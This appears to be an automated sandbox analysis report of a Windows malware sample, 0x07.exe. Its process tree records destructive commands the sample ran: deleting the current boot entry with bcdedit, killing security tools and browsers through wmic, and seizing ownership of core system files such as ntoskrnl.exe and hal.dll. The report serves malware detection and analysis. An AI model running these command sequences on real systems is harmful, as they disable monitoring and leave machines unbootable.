Analysis

  • max time kernel
    97s
  • max time network
    96s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240319-en
  • resource tags

    arch:x64arch:x86image:win11-20240319-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29/03/2024, 23:14

General

  • Target
    0x07.exe
  • Size 247KB
  • Sample240329-28dh5scf23
  • SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 25 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 25 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x07.exe
    "C:\Users\Admin\AppData\Local\Temp\0x07.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:588
    • C:\Windows\Temp\winconfig.exe
      "C:\Windows\Temp\winconfig.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3832
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8F20.tmp\8F21.tmp\8F22.bat C:\Windows\Temp\winconfig.exe"
        3⤵
        • Drops file in Drivers directory
        • Suspicious use of WriteProcessMemory
        PID:4068
        • C:\Users\Admin\AppData\Roaming\DetectKey.exe
          "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
          4⤵
          • Executes dropped EXE
          PID:1868
        • C:\Windows\system32\bcdedit.exe
          bcdedit /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1992
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='taskmgr.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2952
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='perfmon.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1512
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='mmc.exe' delete /nointeractive
          4⤵
            PID:1260
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where name='PartAssist.exe' delete /nointeractive
            4⤵
              PID:2484
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic process where name='control.exe' delete /nointeractive
              4⤵
                PID:1128
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic process where name='ProcessHacker.exe' delete /nointeractive
                4⤵
                  PID:3248
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic process where name='Security Task Manager.exe' delete /nointeractive
                  4⤵
                    PID:224
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
                    4⤵
                      PID:3216
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where name='CCleaner.exe' delete /nointeractive
                      4⤵
                        PID:1664
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic process where name='procexp.exe' delete /nointeractive
                        4⤵
                          PID:2696
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic process where name='procexp64.exe' delete /nointeractive
                          4⤵
                            PID:2604
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where name='procexp64a.exe' delete /nointeractive
                            4⤵
                              PID:4148
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name='logonui.exe' delete /nointeractive
                              4⤵
                                PID:1280
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic process where name='regedit.exe' delete /nointeractive
                                4⤵
                                  PID:652
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name='iexplore.exe' delete /nointeractive
                                  4⤵
                                    PID:1604
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name='chrome.exe' delete /nointeractive
                                    4⤵
                                      PID:4720
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name='firefox.exe' delete /nointeractive
                                      4⤵
                                        PID:3800
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name='opera.exe' delete /nointeractive
                                        4⤵
                                          PID:1236
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic process where name='edge.exe' delete /nointeractive
                                          4⤵
                                            PID:1900
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic process where name='msedge.exe' delete /nointeractive
                                            4⤵
                                              PID:1960
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic process where name='brave.exe' delete /nointeractive
                                              4⤵
                                                PID:1668
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic process where name='wmplayer.exe' delete /nointeractive
                                                4⤵
                                                  PID:2688
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic process where name='notepad.exe' delete /nointeractive
                                                  4⤵
                                                    PID:1840
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic process where name='notepad++.exe' delete /nointeractive
                                                    4⤵
                                                      PID:3884
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                      4⤵
                                                        PID:2724
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                        4⤵
                                                          PID:4080
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                          4⤵
                                                            PID:908
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                            4⤵
                                                              PID:2992
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskmgr.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4480
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\hal.dll"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2288
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\winload.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2152
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\ntoskrnl.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4508
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\perfmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2720
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\resmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2200
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3160
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskkill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2736
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tasklist.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4020
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tskill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3152
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:700
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Program Files\Process Hacker 2"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:3600
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\System32\drivers"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:4928
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic process where name='taskmgr.exe' delete /nointeractive
                                                              4⤵
                                                                PID:4732
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic process where name='perfmon.exe' delete /nointeractive
                                                                4⤵
                                                                  PID:2900
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic process where name='logonui.exe' delete /nointeractive
                                                                  4⤵
                                                                    PID:2488
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                    4⤵
                                                                      PID:1396
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:5100
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1320
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1992
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4936
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2504
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1884
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:4264
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:476
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3196
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:1552
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3008
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:3656
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                                      4⤵
                                                                        PID:2052
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                                        4⤵
                                                                          PID:3484
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                                          4⤵
                                                                            PID:4708
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                            4⤵
                                                                              PID:2356
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                              4⤵
                                                                                PID:2796
                                                                              • C:\Windows\system32\cacls.exe
                                                                                cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                                4⤵
                                                                                  PID:2696
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                  4⤵
                                                                                    PID:2268
                                                                                  • C:\Windows\system32\cacls.exe
                                                                                    cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                                    4⤵
                                                                                      PID:1724
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                      4⤵
                                                                                        PID:3996
                                                                                      • C:\Windows\system32\cacls.exe
                                                                                        cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                                        4⤵
                                                                                          PID:4088
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                          4⤵
                                                                                            PID:2220
                                                                                          • C:\Windows\system32\cacls.exe
                                                                                            cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                                            4⤵
                                                                                              PID:2668
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                              4⤵
                                                                                                PID:5076
                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                                                4⤵
                                                                                                  PID:1548
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                  4⤵
                                                                                                    PID:652
                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                    cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                                                    4⤵
                                                                                                      PID:2324
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                      4⤵
                                                                                                        PID:3620
                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                        cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                                                        4⤵
                                                                                                          PID:1124
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                          4⤵
                                                                                                            PID:3184
                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                            cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                                                            4⤵
                                                                                                              PID:4788
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                              4⤵
                                                                                                                PID:2168
                                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                                cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                                                                4⤵
                                                                                                                  PID:3304
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                  4⤵
                                                                                                                    PID:4884
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
                                                                                                                    4⤵
                                                                                                                      PID:2472
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                      4⤵
                                                                                                                        PID:2408
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls "C:\Windows\System32\drivers" /grant "everyone":F
                                                                                                                        4⤵
                                                                                                                          PID:2028

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

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                                                                                                                        Downloads

                                                                                                                        8F22.bat

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\8F20.tmp\8F21.tmp\8F22.bat
                                                                                                                        • Size 5KB
                                                                                                                        • SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        DetectKey.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
                                                                                                                        • Size 87KB
                                                                                                                        • SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        winconfig.exe

                                                                                                                        • Path C:\Windows\Temp\winconfig.exe
                                                                                                                        • Size 139KB
                                                                                                                        • SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP